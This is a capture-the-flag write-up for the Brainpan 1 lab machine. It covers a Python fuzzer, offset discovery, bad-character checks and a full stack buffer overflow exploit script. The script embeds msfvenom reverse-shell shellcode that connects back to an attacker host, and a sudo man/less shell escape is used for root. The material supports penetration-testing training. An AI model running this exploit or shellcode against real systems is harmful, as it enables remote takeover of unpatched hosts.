Brainpan1 — Buffer Overflow Write-up
Brainpan is perfect for *OSCP* practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don’t give up (or look at writeups), just try harder.
All credit to [superkojiman](https://www.vulnhub.com/entry/brainpan-1,51/) — This machine is used here with the explicit permission of the creator ❤
Today, we will exploit the Brainpan 1 machine from Try Hack Me (https://tryhackme.com/room/brainpan).
It’s a great CTF to learn and practice buffer overflow exploit. Although it says it’s a hard room, it’s pretty simple to got shell, using only basics techniques for that. So without further ado, let’s get started.
Note: That’s my first write-up. I tried to make everything didactic but it is recommended to have at least a basic knowledge about Assembly and Registers to a fully understanding. Also, sorry, if you encountered some English error. You can find my YouTube Channel in this link: https://www.youtube.com/@link.404.
Scan and Enumeration
Firstly, let’s start with a Nmap scan, I used the db_nmap from msfconsole, but you can use the normal command:
msf6 > db_nmap -sS 10.10.205.39 -D RND:28 --open -g 53 -v
[*] Nmap: PORT STATE
[*] Nmap: 9999/tcp open
[*] Nmap: 10000/tcp open As you can see in the output, we have 2 open ports:
- 9999
- 10000
Start from port 9999, with netcat, we discover that it runs a service called Brainpan that receives an input as password.
That’s might be our attack vector.
Trying to connect to port 10000 via browser by the link http://10.10.205.39:10000, we found a website:
Navigating through it, there’s nothing special, just an infographic.
We can scan it for hidden directories:
$ dirb http:/10.10.205.39:10000 /usr/share/wordlists/dirb/common.txt By that way, we found the \bin directory where is possible to find brainpan.exe.
Building our Exploit
With that in hand, we can start debugging from our personal lab. I will use a Windows 10 virtual machine for that. Following is the list of tools that we’ll need:
- Immunity Debugger (https://github.com/kbandla/ImmunityDebugger/releases)
- Mona (https://github.com/corelan/mona)
- expdevBadChars (https://github.com/mgeeky/expdevBadChars)
Fuzzing
Let’s start by creating a Fuzzing Script using Python:
import socket
import sys
from time import sleep
# Local lab IP
TARGET = "192.168.15.53"
# don't forget to use `b` to convert string to Byte
buffer = 100 * b"A"
while True:
try:
# \r\n is the Return (ENTER) command
payload = buffer + b"\r\n"
sleep(0.3)
# Create connection, note that we have to create a new connection
# for every loop
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2) # if timeout, socket not created -> except case
s.connect((TARGET, 9999))
print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()
# Increment buffer by 100 b"A"
buffer += 100 * b"A"
except:
print(f"App crashed at {len(buffer)} Bytes!")
sys.exit(1)By this script we found that the app crashes at 1000 Bytes. Now, we have to find the exact offset to the EIP register/pointer.
Fortunately, Metasploit have 2 useful tools for that.
- msf-pattern_create
- msf-pattern_offset
- Let’s create a character pattern:
$ msf-pattern_create -l 1000 # -l is the pattern lenght2. Now we copy the output into our payload:
From now on, we don’t need the while loop anymore.
import socket
import sys
from time import sleep
TARGET = "192.168.15.53"
# pattern created from msf-pattern
buffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
payload = buffer + b"\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))
print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()3. Send to the target machine while debugging the program if Immunity Debugger.
After the payload was sent, check the debugger, in the bottom we’ll see something like this:
Copy the string of the Access violation: 35724134.
4. And Voilà
Running the following command, we have the EIP offset.
┌──(root㉿warlock)-[/home/link/Desktop/THM/Brainpan1]
└─# msf-pattern_offset -l 1000 -q 35724134
[*] Exact match at offset 524Note:
524 is the offset of EBP offset, the offset of EIP is:
Get Link’s stories in your inbox
Join Medium for free to get updates from this writer.
EIP_offset = EBP_offset + 4
Finding Bad Chars
Now, we have to find some chars that the program might do not accept, called Bad Chars.
First of all, let’s generate a Char List in hex decimal, we’ll exclude the \x00 since it is a common bad char.
char_list = [
#list compreension
hex(i).replace("0x", "\\x")
for i in range(1,256)
]
for data in char_list:
print(data, end="")
print()Save the output in a text file, because we’ll use it soon.
Now, let’s adapt our exploit with the bad char list:
import socket
import sys
from time import sleep
TARGET = "192.168.15.53"
# pattern created from msf-pattern
buffer = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# 524 A to get offset + 4 B to align EIP Address + Bad chars
payload = 524 * b"A" + 4 * b"B" + buffer + b"\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))
print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()After, send it to the program. We have to check the characters that was received.
Right click on ESP register, then Follow in Dump:
In Dump Screen, select every byte from 01 until FF, copy it, and paste in a .txt file.
Now in windows, run the expdevBadChar.
C:\Users\User\Desktop>badchars.py good.txt bad.txt -n
Where good.txt is the original list that we generated and bad.txt is the dump that we just copy.
Luckily, we don’t have any bad char.
Finding Return Address
In this step, we need to find a fixed address, i.e, that doesn’t have ASLR protection to the JMP ESP instruction.
In the debugger, let’s run the command !mona modules :
The only module that doesn’t have ASLR activated is brainpan.exe. We have to found desired instruction inside it.
In Kali Linux, type msf-nasm_shell, then, the instruction:
If the OP CODE in hand, we turn back to the debugger in the Windows machine and type !mona find -s "\xff\e4 -m brainpan
Take note of the address, we’re almost done
Creating Shell Code and Getting a Shell
Back to Kali Linux, it’s time to generate the shell code, remember that our real target is a Linux machine, not a Windows.
Using msfvenom, let’s create the malware.
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=10.6.33.178 lport=443 -b "\x00" -f cNow, we add the address of JMP ESP and the shell code into our python exploit.
import socket
import sys
from time import sleep
TARGET = "10.10.250.59"
# Don't forget to add the JMP_ESP address in little-endian format
JMP_ESP_ADDR = b"\xf3\x12\x17\x31" # 0x311712F3
NOP_INSTRUCTION = b"\x90"
SHELL_CODE = (b"\xb8\xe5\x36\x3b\x74\xda\xc7\xd9\x74\x24\xf4\x5a\x29\xc9"
b"\xb1\x12\x83\xea\xfc\x31\x42\x0e\x03\xa7\x38\xd9\x81\x16"
b"\x9e\xea\x89\x0b\x63\x46\x24\xa9\xea\x89\x08\xcb\x21\xc9"
b"\xfa\x4a\x0a\xf5\x31\xec\x23\x73\x33\x84\xb9\x85\xe2\xe6"
b"\xd6\x8b\xe4\x07\x9c\x05\x05\xb7\x84\x45\x97\xe4\xfb\x65"
b"\x9e\xeb\x31\xe9\xf2\x83\xa7\xc5\x81\x3b\x50\x35\x49\xd9"
b"\xc9\xc0\x76\x4f\x59\x5a\x99\xdf\x56\x91\xda")
buffer = 524 * b"A" + JMP_ESP_ADDR + 32 * NOP_INSTRUCTION + SHELL_CODE
payload = buffer + b"\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((TARGET, 9999))
print(f"[>>] Sending {len(buffer)} bytes")
s.send(payload)
s.close()Turn on Netcat on the Kali, and it’s time to receive our shell from the target machine.
Privilege Escalation
Let’s upgrade our shell:
python -c 'import pty; pty.spawn("/bin/bash")'Checking the sudo privileges by sudo -l, we found some interesting:
We can execute the anansi_util as Sudo without password.
Testing the app usage, it is possible to notice that the manual option can be our privesc vector. It opens the man of the parameter given.
Remember, man uses less tool, which allow us to send shell commands.
So, all we have to do is invoke a bash typing
!/bin/bashAnd, now we are root!
Thank you for reading until here and happy exploit =)
If you like it and want to support me, buy me a coffee through paypal donation link:





